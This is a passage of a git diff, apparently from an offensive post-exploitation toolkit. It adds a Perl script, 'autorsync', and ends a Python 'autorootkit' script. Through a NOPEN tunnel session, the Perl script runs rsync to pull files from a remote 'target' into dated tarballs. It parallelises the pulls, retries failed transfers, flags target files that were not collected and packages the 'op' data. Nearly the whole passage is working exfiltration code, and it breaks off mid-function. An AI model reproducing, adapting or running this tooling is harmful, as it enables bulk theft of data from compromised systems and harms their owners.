modules') + parser.add_option('--shared-objects', dest='SHAREDOBJECTS', action='store_true', help='This does just the shared objects check') + parser.add_option('--shared-objects-minimal', dest='SHAREDOBJECTSMIN', action='store_true', help='This does a shared objects check on a fixed set of regularly used binaries') + parser.add_option('--shared-object', dest='SHAREDOBJECT_SINGLE', metavar='shared_object', action='store', type='string', help='This does a shared objects check on a particular file') + + return parser + + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autorootkit().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] + diff --git a/Linux/etc/autorsync b/Linux/etc/autorsync new file mode 100755 index 0000000..c91cd07 --- /dev/null +++ b/Linux/etc/autorsync @@ -0,0 +1,2493 @@ +#!/usr/bin/env perl +## +$VER="1.4.0.2"; +$| = 1 ; +use File::Basename ; + +# TODO: When done, before packing, read in rsync.errors.$tunnelport* if part 1, handle.... + + +#TODO: When using -f, do not list that file as an old tarball later when MERGEing. +# TODO: if exprs is /current* it is a file not an expression faile if it does not exist + +# GLOBALS set via newhostvar, do NOT clear these here +# %rsynced_today # list of remote paths we already rsynced today + + +# GLOBALS +%remotepaths = (); # list of remote paths we are syncing +@oldlist = (); # list of files from old tarball +$skipexpr = ""; # --exclude argument to rsync remotely, if any +@skipexprs = (); # list of expressions of remote files to skip +%oldignoredfile = ();# List of files skipped due to old date on target +@killstrings = (); # used to kill our child popups +$dounpacking = 0; # Boolean set if we are unpacking old tarball +$mypart = 1; # > 1 if splitting the load and this instance NOT unpacking +$destdir = ""; # Path to local data for this run of -gs rsync. +$ofparts = 1; # > 1 if splitting the load +$rsyncnative = ""; # Set TRUE if remote rsync is used, not any uploaded + # Set to full path of rsync if it is native but not in PATH at first + # (currently, /usr/local/bin is the only non-PATH place we look). +$rsyncuploaded = ""; # Set to full remote path if rsync has been uploaded to target. +$keeprsync = 0; # Set true if user opts to leave it there +$remoteport = 0; # Remote tunnel port for this instance's rsync +%remoteports = (); # All remote ports, all parts, key=part, value=port +$familyerrfile = # Nulled by part 1 used by all via + "$optmp/rsync.errors.$tunnelport"; + # $host_rsyncfamilyerrfile{$olddatafile} +$remotersync = "rsync"; +$remotersyncoptions = ""; +@otherruns = (); # Other windows pastables put here + +myinit() ; + +# ASSERT: $usedu contains the du executable to use if $checkfirst +# is true and $usedu is available. +# %remotepaths is populated with the desired target data +# (with whitespace escaped): +# key =@remotepaths option pointing to it +# value=remote -ls -d result for it (link if any collapsed to real target) +my @paths = keys %remotepaths; +my @remotersyncs = (); # Actual rsync commands being run +my @remotersyncpaths = (); # Pathlists for each rsync command being run + +checkfirst() if $checkfirst; + +monitorunpack() if ($mypart == 1 and + ($freshenold or $dounpacking)); + +# ASSERT: Use mymydie() and not mydie() after setuptunnel returns, +# it first closes that -tunnel # udp and then dies with mydie(). +if ($mypart == 1) { + # newhostvar() has no good way to do this we do so manually here? No dont risk it: +# my @varlines = readfile("ARRAY",$hostvarfile); +# offerabort( +# join(" \n",@varlines)."\n". +# "Got hostvar $hostvarfile containing above\n ". +# ""); +# @varlines = grep ! m,^\$rsyncdone..$tunnelport $olddatafile , , @varlines; +# offerabort( +# join(" \n",@varlines)."\n". +# "now cleaned hostvar containing above \n ". +# ""); +# unlink($hostvarfile); +# writefile($hostvarfile,@varlines); + + + # Sets up all ports, returns ours + $remoteport = setuptunnel(); +} + +if ($freshenold) { + # Build/add to @paths from the files in the tarball just unpacked, + # using the (perl file) $unpackedtoc to define @oldlist via do + # (Which was made by the child that monitorunpack() was watching + # that just exited.) + do $unpackedtoc if (-s $unpackedtoc); + # Throw away the --exclude part of remote rsync if our ONLY remote targets + # are from $freshenold paths in the old tarfile and none are from other + # sources. In any case, grep the excluded ones out here. + $skipexpr = "" unless @paths; + @paths = uniqify_array(@paths,@oldlist); + my @newpaths = (); + foreach my $path (@paths) { + my $skipit = 0; + foreach my $regexp (@skipexprs) { + $skipit++ if $path =~ /$regexp/; + last if $skipit; + } + push @newpaths,$path unless $skipit; + } + @paths = @newpaths; +} + +# Now that $freshenold is an option, we may get this far with no +# @paths at all (if. e.g., we blacklist all elements in the tarball, +# or none exist on target anymore). So we die nicely in that case. +mymydie(".\n\n". + "No need to continue, no remote files/paths to get.". + (@skipexprs ? "\n(Perhaps all were blacklisted?)" : "") + ) unless @paths; + +# We split the load here via $freshenold now that @paths is set. +# This does nothing to paths + +dbg("paths=(@paths) +contains ".scalar @paths . " entries + + +before call to splitload"); + +splitload($mypart,$ofparts,\@paths); + +dbg("count=".scalar @paths. " paths now contains((@paths)) + + +"); + +my %dirlist = (); +my %filetimes = (); +if ($ignoreold) { + foreach my $path (@paths) { + my $dir = dirname($path); + $dir =~ s,/+$,,; + $dirlist{$dir}++; + } + foreach my $dir (keys %dirlist) { + doit("-ls $dir"); + my (undef,undef,@output) = doit("-ls -n $dir"); + progprint($COLOR_NORMAL."\n\nDetermining which target files are too old to bother rsyncing\n". + "(use -B option to skip this feature and rsync them anyway)..."); + + foreach my $line (@output) { + next if ($line =~ m,/\.+$,); + my ($e,$f) = $line =~ /-touch -t (\d+):\d+\s+(.*)/; + $f =~ s,/+,/,g; + $filetimes{$f} = $e; + #dbg("DBG: SETTING filetimes{$f} = $e == $filetimes{$f} "); + } + } +} + + +my $pastlist = ""; +my $newestepoch = 0; +foreach my $path (@paths) { + my $localepoch = (stat("$destdir$path"))[9]; + $newestepoch = $localepoch unless ($localepoch < $newestepoch); +} + +my ($skipwarn,$skipwarndone) = (); +my ($rsyncpathlist,$getpathlist) = (); +my $countperline = 0; +foreach my $path (@paths) { + # Remove the escape here we use quotes + $path =~ s/\\(\s)/$1/g; + $path =~ s,^,/, unless $path =~ m,^/, ; +# $path = "\"$path\"" if $path =~ /[\(\)\[\]\s]/; +# dbg("Got \$remotepaths{$path}=$remotepaths{$path}="); + my $hashpath = $path; + $hashpath =~ s,/+,/,g; +#offerabort("DBG: HERE with rsynced_today{$hashpath}=$rsynced_today{$hashpath}= and forcersync=$forcersync= and path=$path="); + if ($rsynced_today{$hashpath}) { + # Hash says we got it earlier, we confirm that before we believe using our current $destdir + my $test = `cd $destdir ; ls -ald .$hashpath`; + if (!$test) { + #offerabort("DBG: with destdir=$destdir= hashpath=$hashpath= got new code got test=$test="); + dbg("Pulling $hashpath again, we had it per \%rsynced_today but not in $destdir anymore."); + delete $rsynced_today{$hashpath}; + } + } + if ((!$forceresync) and $rsynced_today{$hashpath}) { + $skipwarndone .= " \"$hashpath\""; + next; + } + + $path = "\"$path\"" unless ($path =~ /^\".*\"$/); + if ($ignoreold) { + # We ignore this $hashpath if our copy is at least a day newer +# doit("-ls $path"); #DBGLINE + if (-f "$destdir$hashpath" and + ($filetimes{$hashpath} > 0) and ($newestepoch > 0) + and ($newestepoch - 24*60*60 > $filetimes{$hashpath})) { + $skipwarn.= " \"$hashpath\""; + $oldignoredfile{$hashpath}++; + next; + #} else { #DBG ONLY + # offerabort("NOT Skipping $hashpath -- target copy is new enough\n\n".$COLOR_NORMAL. + # `ls -al "$destdir$hashpath"`. + # "\n\n". + # "filetimes{$hashpath}=$filetimes{$hashpath}= newestepoch=$newestepoch=\n\n". + # "ours is " .secstostr(-1 * ($newestepoch - $filetimes{$hashpath})). " older"); #DBGLINE + } + } +#offerabort("numperline=$numperline= countperline=$countperline= and remotersyncpaths has ".scalar @remotersyncpaths." entries"); + if (($numperline and $countperline == $numperline) or + ($rsyncpathlist and $oneperline) or + (length "$remotersync$remotersyncoptions $skipexpr$verbose --relative -avv$rsyncpathlist $path rsync://127.0.0.1:$remoteport/root" + > 1400)) { + push @remotersyncs,"$remotersync$remotersyncoptions $skipexpr$verbose --relative -avv$rsyncpathlist rsync://127.0.0.1:$remoteport/root"; + push @remotersyncpaths,$rsyncpathlist; + $rsyncpathlist = ""; + $countperline = 0; + } + $rsyncpathlist .= " $path"; + $countperline++; +} +if ($rsyncpathlist) { + push @remotersyncs,"$remotersync$remotersyncoptions $skipexpr$verbose --relative -avv$rsyncpathlist rsync://127.0.0.1:$remoteport/root"; + push @remotersyncpaths,$rsyncpathlist; +} + +if (@remotersyncpaths) { + preservefile("$optmp/rsync_on_${nopen_rhostname}_part_${mypart}_of_$ofparts"); + writefile("$optmp/rsync_on_${nopen_rhostname}_part_${mypart}_of_$ofparts", + join("\n",@remotersyncpaths)); +} + + +if ($skipwarn) { + my ($remoteskipped) = doit("-ls $skipwarn"); + $skipwarn =~ s, \"/, \"./,g; + offerabort + ($COLOR_NORMAL. + `cd $destdir ; ls -al $skipwarn`."\n\n". + "Above is a listing of our LOCAL copies of these files from the rsync tarball.\n". + "Above that is the listing of the same files on target, all of which\n". + "should be older than our tarball creation date.\n\n". + "Skipping above paths -- target copy is too old to bother rsyncing\n". + "(use -B to avoid this feature and rsync them anyway).\n\n". + "Pausing here, so you know....". + ""); + $skipwarn = ""; + sleep 3; +} +if ($skipwarndone) { + my ($remoteskipped) = doit("-ls $skipwarndone"); + $skipwarndone =~ s, \"/, \"./,g; + offerabort + ($COLOR_NORMAL. + `cd $destdir ; ls -alc $skipwarndone`."\n\n". + "Current time: ".gmtime()."\n". + "Above is a listing of the CTIME of our LOCAL copies of these files. We already\n". + "rsynced them once today, so we skipped them here. There are still ".scalar @remotersyncpaths."\n". + "remote rsync commands to run.\n\n". + "Use the -r(redo) option to skip this feature and re-sync data.\n". + "Pausing here, so you know....". + ""); + $skipwarndone = ""; + sleep 3; +} +$kidpid = startlocalrsync(); + +progprint + ("Local rsync started [pid:$kidpid]:\n". + `ps -efwww | grep -v grep | grep -v perl | grep rsync`. + "\n Now running the remote rsync$s.\n\n". + "\n See list of files for this part (part $mypart of $ofparts) and others here:\n ". + `ls -al $optmp/rsync_on_${nopen_rhostname}_part_${mypart}_of_*`. + "\n\n". + "NOTE: The lists in these files are after any skipped because they were either\n". + " to old on target or they were done already today." + ); + +sleep 1; +my $err = 0; +my ($ans,$longans,$bw,) = (); +$count = 0; +my $total = scalar @remotersyncs; +#foreach my $cmd (@remotersyncs) { +foreach my $pathlist (@remotersyncpaths) { + my $cmd = "$remotersync$remotersyncoptions $skipexpr$verbose --relative -avv$pathlist rsync://127.0.0.1:$remoteport/root"; + last if -e $bailfile; + $bw = bwsofar(); + # dbg("bwsofar returned $bw"); + if ($maxdownload and $bw > $maxdownload) { + ($ans,$longans) = + mygetinput("\n\nYou have reached the max megabytes (${bw}M >= ${maxdownload}M) you\n". + "set for the op. Use \"C\" to continue and be prompted again between files,\n". + "or enter \"NOMAX\" to stop getting this prompt and continue to the\n". + "end. You can still abort between rsyncs with this command locally:\n\n". + " touch $bailfile\n","ABORT","CONTINUE","A","C","NOMAX"); + $maxdownload = 0 if $longans eq "NOMAX"; + last if $ans eq "a"; + } + my $graphic = graphic(1+$count++,$total,80); + progprint("$COLOR_NORMAL\n". + "Starting $remotersync $count of $total\n$COLOR_SUCCESS\n$graphic"); + my ($output,$nopenlines,@output) = doit($cmd); + if ($output =~ /(failed|error)/) { + $output = join("NEWLINE",@output); + writefile("APPEND",$host_rsyncfamilyerrfile{$olddatafile},$output."CMD=$cmd"); + progprint("output=$output=\n\n". + "just appended to $host_rsyncfamilyerrfile{$olddatafile}\n\n". + "Instance 1 of $ofparts will try that file again after it finishes\n". + "its list of files."); + sleep 3; + } elsif ($output =~ /sent \d+ bytes\s+received \d+ bytes/) { + # We mark all in $pathlist as done already today + $pathlist =~ s,^\s*\"+,,; + $pathlist =~ s,\"+\s*$,,; + foreach my $singlepath (split(/\" \"/,$pathlist)) { + dbg("Logging completed rsync for singlepath=$singlepath="); + newhostvar("rsynced_today{$singlepath}",1); + } + } +} + +my $errpass = 0; +while ($mypart == 1) { + # ASSERT: Ignoring $maxdownload for these... + my @errs = readfile("WIPE","ARRAY","$optmp/rsync.errors.$tunnelport*"); + last unless @errs; + my ($all,$windows) = ("all","windows"); + ($all,$windows) = ("this","window") if ($ofparts == 1); + my $num = @errs; + progprint($COLOR_NORMAL."\n\n". + "$prog detected $num errors from ". + ""); + my (@filelist,$errlist) = (); + foreach my $err_record (@errs) { + my ($errlines,$cmd,$file) = $err_record =~ m,(.*)CMD=([^/]* (/.*) rsync://127.0.0.1.*/root),; +# $cmd =~ s,127.0.0.1:\d+/,127.0.0.1:$remoteport/,; + my @errlines = split(/NEWLINE/,$errlines); + my $err = join("\n ",@errlines); + $errlist .= "\n${COLOR_NOTE}FILE=$COLOR_NORMAL$file\n". + "$COLOR_FAILURE ERR=$COLOR_NORMAL$err\n". + "$COLOR_NOTE CMD=$COLOR_NORMAL$cmd\n"; + push(@filelist,$file); + } + + my ($filelist) = nopenlss("-Uh",@filelist); + my ($all,$s,$this) = (" all","s") if $ofparts > 1; + ($all,$s) = ("","") if $ofparts == 1; + offerabort( + $filelist."\n\n". + $errlist."\n\n". + "$COLOR_FAILURE $num RSYNC ERRORS WERE DETECTED$COLOR_NORMAL (file listing/details\n\n". + "above). $prog will now handle these errors encountered from $all $windows using\n". + "-tunnel $tunnelport udp, changing all reverse ports to $remoteport and running the\n". + "commands here.". + ""); + my %successonfile = (); + foreach my $err_record (@errs) { + my ($errlines,$cmd,$file) = $err_record =~ m,(.*)CMD=([^/]* (/.*) rsync://127.0.0.1.*/root),; + next if $successonfile{$file}; + my @errlines = split(/NEWLINE/,$errlines); + my $dbgoldcmd = $cmd; + $cmd =~ s,127.0.0.1:\d+/,127.0.0.1:$remoteport/,; + my ($output,$nopenlines,@output) = doit($cmd); + if ($output =~ /(failed|error)/) { + if ($output =~ /failed: No such file or directory/) { + mywarn($COLOR_FAILURE. + "\n\n\nThis tarball has some files in it no longer on target, e.g.:\n". + " $file"); + sleep 3; + next; + } + $output = join("NEWLINE",@output); + writefile("APPEND",$host_rsyncfamilyerrfile{$olddatafile},$output."CMD=$cmd"); +# offerabort("output=$output=\n\n". +# "just appended to $host_rsyncfamilyerrfile{$olddatafile}"); + } else { + $successonfile{$file}++; + } + } + if ($errpass++ > 0) { + my $default = $errpass > 1 ? "N" : "Y" ; + my ($ans) = + mygetinput("The reattempts above still had issues, do you wish to try again?",$default); + last if ($ans eq "y"); + } +} + +my $startloop = time(); +unlink("$optmp/Proceed_rsync_$tunnelport"); + +my $othercount = $ofparts - 1; +my $s = "s" if $othercount > 1; + + +while ($mypart == 1) { + progprint($COLOR_NORMAL."\n\n". + "Now waiting for the other $othercount instance$s to finish....") + if ($othercount); + tickleifneedbe(); + # we count ourselves as done already + newhostvar("rsyncdone{$tunnelport $olddatafile $mypart}",$mypart); + my $done = 0; + for (my $i = 1; $i <= $ofparts; $i++) { + $done++ if ($rsyncdone{"$tunnelport $olddatafile $i"} == $i); + } + last if $done == $ofparts; + sleep 2; + if (-f "$optmp/Proceed_rsync_$tunnelport") { + unlink("$optmp/Proceed_rsync_$tunnelport"); + last; + } + if ((time() - $startloop) % 15 <2) { + progprint + ($COLOR_FAILURE."\n\n". + "Still waiting on the other $othercount instance$s to finish.\n\n". + "Touch this file locally if you wish to proceed anyway:\n\n". + " touch $optmp/Proceed_rsync_$tunnelport". + ""); + } +} + +if ($ans eq "a") { + progprint("Aborted, max download met: ${bw}M >= ${maxdownload}M"); +} +if (-e $bailfile) { + progprint("Aborted, $bailfile was touched."); + unlink($bailfile); +} + + + +if ($mypart > 1) { + # Do not use mymydie here as we are sharing the same tunnel cannot shut that, + # part 1 will though. + + # Do kill our local rsync tho + killlocalrsync(); + + newhostvar("rsyncdone{$tunnelport $olddatafile $mypart}", + $mypart); + + mydie("This instance, part $mypart of $ofparts for freshen of\n\n". + " $olddatafile\n\n". + "has completed. Part 1 is responsible for cleanup/teardown."); +} elsif ( 0 and $ofparts > 1) { + #NOTE:DISABLED THIS ELSIF BLOCK DONE ELSEWHERE + # We monitor, when all other instances are done, we continue to build new + # tarball. "w" every so often to keep it up. + my $sleepcount=0; + my $othercount = $ofparts -1; + my $touchfile = ".rsyncproceed_all_done$olddatafile"; + $touchfile =~ s,/,_,g; + $touchfile = "$optmp/$touchfile"; + while (1) { + # function to CREATE $touchfile if all others are done. + last if (-e $touchfile or checkalldone()); + sleep 2; + progprint + ("$COLOR_NORMAL\n\n". + "Waiting on the other $othercount instances of $prog sharing the load on the file\n". + " $olddatafile\n". + "to complete. This window will continue at that point and offer to build the\n". + "new rsync tarball. A \"w\" will be done every 30 seconds to keep this window\n". + "active and to monitor $nopen_rhostname activity.\n\n". + "To proceed BEFORE the others all finish (if maybe your time is up), touch\n". + "this file and this instance will proceed.\n\n". + " touch $touchfile" + ) unless $sleepcount % 120; + doit("w") unless $sleepcount % 30; + $sleepcount+= 2; + } + my $why = "all $ofparts of $ofparts instances processing this rsync have completed."; + $why = "the \"all_done\" touch file was created, so we are proceeding." + unless checkalldone(); + progprint + ("$COLOR_NORMAL\n\n". + "Proceeding, $why\n\n". + ""); +} + +# ASSERT: This is instance 1 of N>= 1. + +killlocalrsync(); +closeourtunnel(); +# This removes our temp files and temp vars in $host_varfile. +checkalldone(Clear); + +$keeprsync = rmrsync(prompt); + +my $tocfile = tocfile($olddatafile); + +if (-s $tocfile) { + my @toclisting = readfile("ARRAY",$tocfile); + my @tocfilelisting = grep /^-/ , @toclisting; + my (%tocfilelisting,%tocdirlisting,%tocdircount,$tarballmore) = (); + $tarballmore = + sprintf("%-65s %s\n","TARBALL DIRECTORIES","# FILES THERE"). + sprintf("%-65s %s\n","===================","============="); + + foreach my $listing (@tocfilelisting) { + next unless (($listing =~ m,^\-.* (\.)((\/.+)/[^/]+)$, ) + or ($listing =~ m,^\-.*( )((\/.+)/[^/]+)$, )); +# next unless ($listing =~ m,^\-.* \.{0,1}((\/.+)/[^/]+)$, ); + $tocdirlisting{$3} .= "$listing\n"; + $tocdircount{$3}++; + $tocfilelisting{$2}++; + } + foreach my $dir (keys %tocdirlisting) { + $tarballmore .= sprintf("%-65s %d\n",$dir,$tocdircount{$dir}); + } + + my $targetmore = + sprintf("%-65s %s\n","TARGET DIRECTORIES","# FILES THERE"). + sprintf("%-65s %s\n","==================","============="); + my (%pullfiles,@pullfiles,$alertmore) = (); + foreach my $dir (keys %tocdirlisting) { + my (undef,undef,@filelisting) = doit("-ls $dir"); + @filelisting = grep /^-/ , @filelisting; + $targetmore .= sprintf("%-65s %d\n",$dir,scalar @filelisting); + foreach my $listing (@filelisting) { + my ($file) = $listing =~ m,^-.* (\/.+)$,; + next if (!$file or $tocfilelisting{$file} or $oldignoredfile{$file}); + $alertmore .= "$listing\n"; + push(@pullfiles,$file); + $pullfiles{$dir} .= "$file\n"; + } + } + mygetinput + ($COLOR_FAILURE."\n\n". + "$COLOR_FAILURE NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW!\n". + "$COLOR_NORMAL\n". + "$prog is now going to compare the listing of the tarball just rsynced with\n". + "the listing of the target directory(ies) and alert you to any differences\n". + "in file names/counts. The TOC file from your tarball is here:\n\n". + `ls -l $tocfile`."\n\n". + "It contains the following:\n\n". + $tarballmore. + "\n". + $targetmore. + "\n". + "$COLOR_FAILURE NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW! NEW!\n\n". + "Press return to continue....". + ""); + + if ($alertmore) { + $alertmore = + $COLOR_FAILURE."\n\n". + "The following files ARE on target but WERE NOT RSYNCED:\n\n". + $alertmore. + "The ABOVE files ARE on target but WERE NOT RSYNCED:\n\n". + $COLOR_NORMAL."\n\n". + "This is normal for blacklisted files (rsync option -b), but otherwise could\n". + "mean your data set is not complete."; + $alertmore .= " For this rsync pull, you blacklisted:\n ". + join("\n ",@skipexprs)."\n\n". + "" if (@skipexprs); + } + unless ($alertmore) { + progprint + ($COLOR_FAILURE."\n\n". + "NEW! NEW! NEW! NEW! \n$COLOR_NORMAL\n". + "$prog just compared the listing of the tarball just rsynced with the listing\n". + "of the target directory(ies), and there were no missing files in the tarball.\n\n". +# `ls -l $tocfile`."\n\n". +# $tarballmore. +# "\n\n". +# $targetmore. +# $alertmore. + ""); + sleep 3; + } + if ($alertmore) { + my @notblacklisted = @pullfiles; + for my $expr (@skipexprs) { + @notblacklisted = grep ~ m,$expr, , @notblacklisted; + } + my $default = scalar @notblacklisted > 0 ? "Y" : "N"; + foreach my $dir (keys %pullfiles) { + my @files = split(/\n/,$pullfiles{$dir}); + my $localdir = "$destdir/$dir"; + my $nosend = $opt_N ? "NOSEND" : ""; + nopenlss("-Uz",@files); + + progprint + ($COLOR_FAILURE."\n\n". + "NEW! NEW! NEW! NEW! \n$COLOR_NORMAL\n". + "$prog just compared the listing of the tarball just rsynced with the listing\n". + "of the target directory(ies). THERE ARE DIFFERENCES in file names/counts. The\n". + "The TOC file from your tarball is:\n\n". + `ls -l $tocfile`."\n\n". + $tarballmore. + "\n\n". + $targetmore. + $alertmore. + ""); + my ($ans,$longans) = mygetinput + ("\n\n". + +# "DBG: pullfiles=$pullfiles{$dir}=\n\n". +# "DBG: nopenlss(\"-GUYL$nosend$localdir\",@files);\n". + "Do you want to use another -gs rsync to rsync the missing files and put\n". + "them into the proper local directory prior to creating new tarball?", + $default); + if ($ans eq "y") { + $origargs =~ s,-([\S])*f.*tar.bz2,-${1}m $destdir,; + mydie("OK: We'll stop this rsync, and you need to run the one shown below.\n". + "When you pack the next one up later it will contain the combined data.\n\n". + $COLOR_NORMAL. + "-gs rsync $origargs @files\n". +# "\n\n\nDBG: origargs = $origargs\n\n\n". + "\n"); + my $pause=0; + my ($output,$nopenlines,@output) = + nopenlss("-GU${nosend}L$localdir",@files); + foreach my $file (@files) { + my ($loc1,$loc2,$remotepath,$match,$sizediff) = gotlocalcopy($file); + + my ($loccopied,$lsslocdir) = ($loc1); + if ($loc1) { + $lsslocdir = dirname ($loc1); + } + unless ($loc1 and -d $lsslocdir) { + $loccopied = $loc2; + $lsslocdir = dirname ($loc2) if $loc2; + } + next if ($lsslocdir eq $localdir); + progprint($COLOR_NORMAL."\n\a\n". + "nopenlss reports that the local copy of this file:\n". + " $file\n\n". + "is in $lsslocdir\n\n". + "We will copy that one into\n". + " $localdir\n\n". + "for our tarball.\n\n". + `cp -pv $loccopied $localdir`. + ""); + $pause = 2; + } + sleep $pause; + } + } + } +} + +offerball_rsync(); + +## END MAIN ## + +sub offerball_rsync { + # Done with all, mymydie() will close local rsync and + # close down -tunnel in other window + my %projecthash = (); + my $todaystamp = timestamp(short); + $todaystamp = $1 if ($destdir =~ /\.(\d{8}-\d{4}\d*)/); + + # See if we know the current project + my ($project,$targets,@projectlist) = + opnotesprojects(\%projecthash); + $project = $gbl_opproject if ($gbl_opproject and + lc $gbl_opproject ne "nothing" and + lc $gbl_opproject ne lc $project); + $project = uc $project; + $project = "NOPROJECT" unless $project; + $gbl_opuser = "NOUSERID" unless $gbl_opuser; + my $newball = "rsync_${project}_${gbl_opuser}_${tarballstring}_${nopen_rhostname}_${todaystamp}.tar.bz2"; + + foreach my $expr (@skipexprs) { + chomp(my $hits = `cd $destdir ; find ./ -type f | egrep "$expr"`); + foreach my $hit (split(/\n/,$hits)) { + if ($hit) { + my $targetmore = ""; + my ($targhit) = $hit =~ m,^\.(/.*),; + my ($targhit) = doit("-ls -h $targhit") if $targhit; + my $targetmore = "The target version of this file is listed above, which you chose\n". + "not to not rsync. " if $targhit; + my ($ans) = mygetinput + ("You chose to blacklist with the -b $opt_b option.\n\n". + "That matches this local file (which was NOT just rsynced, so is likely\n". + "pretty old):\n\n". + `cd $destdir ; ls -alh $hit`."\n\n". + $targetmore. + "Do you want to remove our local copy from\n\n". + " $destdir/\n\n". + "before creating a new tarball?","Y" + ); + progprint($COLOR_NORMAL.".\n\n". + + "OK, omitting this file:\n\n". + $COLOR_FAILURE.$hit."\n\n". + "from today's new tarball:\n\n". + `cd $destdir ; rm -vf $hit`) if ($ans eq "y"); + } + } + } + + my ($ans) = mygetinput + ($COLOR_NOTE. + "$prog is done processing:\n$COLOR_FAILURE\n\t".join("\n\t",@paths). + "\n$COLOR_NOTE\n". + "You can now create a fresh tarball containing the target data called:\n". + " $newball\n\n". + "In:\n". + " $destdir\n\n". + "If you are done rsyncing this particular location, you should do so\n\n". + "If you want to do so later, perhaps after some -lss -G file pulls, you\n". + "can either wait at this prompt (your window will NOT be active) or answer\n". + "o now and use the pastables provided below to do the pack-up later.\n\n". + $COLOR_FAILURE. + " NOTE: If you create it now, then DO NOT Ctrl-C in this NOPEN window (EVEN\n". + " IF IT HANGS!) until the tarball popup indicates it has finished\n". + " completely, or you will prematurely stop the tarball being built.\n\n". + $COLOR_NOTE. + "Do you want to create it?", + "Y" + ); + + + my $tmpdir = $optmp . "/" . basename($destdir); + preservefile($tmpdir); + + unless ($ans eq "y") { + my $tmpdir = "$optmp/".basename($destdir); + mymydie + ("\n\n". + "Aborting the pack-up then.\a\n\n". + "ls -alrtR $destdir\n". + `cd $destdir ; ls -arltR`."\n$COLOR_FAILURE\n". + "$prog is done. Aborting the pack-up.\a\n\n". + "Data can be found locally (see listing above) but NOT in a tarball yet.\n". + "Here is a block of pastables to make one:\n\n". + "mkdir -pv $tmpdir\n". + "cd $destdir\n". + "tar cvjf $tmpdir/$newball ./\n". + "cd $opdir ; mv -v $tmpdir $destdir.NEW\n". + "mv -v $destdir $tmpdir \n". + "mv -v $destdir.NEW $destdir\n". + "" + ); + } + + + my ($ansmove) = mygetinput + ("". + "FYI, the files here:\n $destdir\n". + "are now moved into $optmp and replaced with the tarball we are about to create.\n\n". + "Be sure you allow the tar cvjf to complete, otherwise the data will not all be\n". + "in $opdown when the op is packed up at the end.\n\n". + "Hit return to continue..." + ); + + rename($destdir,$tmpdir); + mkdir($destdir); + newhostvar("host_unpackedtardatafor{$destdir}",$tmpdir); + $tardir = $destdir; + $destdir = $tmpdir; + + # If we continue, fork, parent creates tarball in background then exits, + # child exits + createtarball_rsync($newball) if fork(); + mymydie + ("\n\n".$COLOR_NORMAL. + "Popping up an xterm that will create this archive in the background:\n\n". + " $newball\n\n". + "in: $destdir\n\n". + "When it is done, there is$COLOR_FAILURE NO LONGER ANY NEED$COLOR_NORMAL to copy-fast it.\n". + "Post-processing now handles these. You will be provided pastables with\n". + "which to copy and push this tarball, but that is normally not needed.\n\n".$COLOR_FAILURE. + "WARNING: Be sure the popped up xterm packing up that tarball finishes\n". + "completely before allowing getopdata to pack up your op!\a\n". + ""); +}#offerball_rsync + +sub createtarball_rsync { + # If they wanted the tarball, fork/close here releases the + # NOPEN window that called us, we popup an xterm showing tarball + # getting made. We exit when it is done. + # The output of the popup is saved in $opdown with target IP. + # + local ($tarball) = (@_); + my $taroutfile = "$opdown/autorsync.${nopen_rhostname}_$$"; + mymydie("Cannot write to $taroutfile") unless + open(TAROUT,"> $taroutfile"); + print TAROUT gmtime()." AUTORSYNC BUILDING NEW TARBALL\n". + "========================\n"; + close TAROUT; + close(OUT); + `sync`; + mymydie("Cannot append to $taroutfile") unless + open(TAROUT,">> $taroutfile"); + if (fork()) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + exec("xterm -title autorsync_${nopen_hostonly}_now_building_$tarball ". + "-ut +cm +cn -sk -sb -sl 15000 -geometry 128x67+1302+26 -e tail -50f $taroutfile"); + exit; + } + select TAROUT; + $| = 1; + sleep 2; + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + my ($dstpath,$srcpath) = (); + if (@mergepullsfrom) { + foreach my $mergedir (@mergepullsfrom) { + unless (-d $mergedir) { + print $COLOR_FAILURE . + "\nSKIPPING $mergedir\n". + "It does not exist, was anything pulled from target there?\n"; + next; + } + $srcpath = $mergedir; + $srcpath =~ s,$opdown[/]*$nopen_rhostname[/]*,/,; + $dstpath = dirname($srcpath); + chomp(my $newfilecount = `find $mergedir -type f | wc -l`); + chomp(my $existingcount = `find $destdir -type f | wc -l`); + print "$COLOR_NOTE\n". + "Merging data (not clobbering),$COLOR_FAILURE $newfilecount$COLOR_NOTE files from:$COLOR_NORMAL\n". + " $mergedir\n$COLOR_NOTE\n". + "into destination currently with$COLOR_FAILURE $existingcount$COLOR_NOTE files:$COLOR_NORMAL\n". + " $destdir\n\n$COLOR_NOTE". + "Using these commands (verbose output shown below in red):$COLOR_NORMAL\n\n". + "mkdir -vp $destdir$srcpath\n".$COLOR_FAILURE. + `mkdir -vp $destdir$srcpath 2>&1`.$COLOR_NORMAL. + "cd $opdown/$nopen_rhostname/\n". + "cp -ipvr --reply=no .$srcpath $destdir$dstpath\n".$COLOR_FAILURE. + `cd $opdown/$nopen_rhostname/ 2>&1 ; cp -pvur .$srcpath $destdir$dstpath | tee $optmp/.merged.via-gs.rsync.$$ 2>&1`; + `sync`; + # Now the files that got copied over we remove from $srcpath so we + # avoid duped data in ./down tarball. + if (open(RSYNCIN,"$optmp/.merged.via-gs.rsync.$$")) { + print "$COLOR_NOTE\n\n". + "Files successfully merged into via-gs.rsync\n". + "(and then removed from $srcpath):$COLOR_NORMAL\n". + "==========\n"; + while () { + my ($locfile) = m,\`(.*)\' ,; + unless (-e "$opdown/$nopen_rhostname/$locfile") { + dbg("autorsync merge SERIOUS PROBLEM: $opdown/$nopen_rhostname/$locfile should exist but does not"); + print "$COLOR_FAILURE\a\n\n". + "autorsync merge SERIOUS PROBLEM: $opdown/$nopen_rhostname/$locfile should exist but does not$COLOR_NORMAL\n"; + next; + } + print " $locfile\n"; + unlink("$opdown/$nopen_rhostname/$locfile"); + } + close(RSYNCIN); + chomp(my $notmerged = `find $mergedir -type f`); + if ($notmerged) { + print $COLOR_NOTE. + "\n\nFiles$COLOR_FAILURE NOT MERGED$COLOR_NOTE into via-gs.rsync:\n==========$COLOR_FAILURE\n". + $notmerged; + } 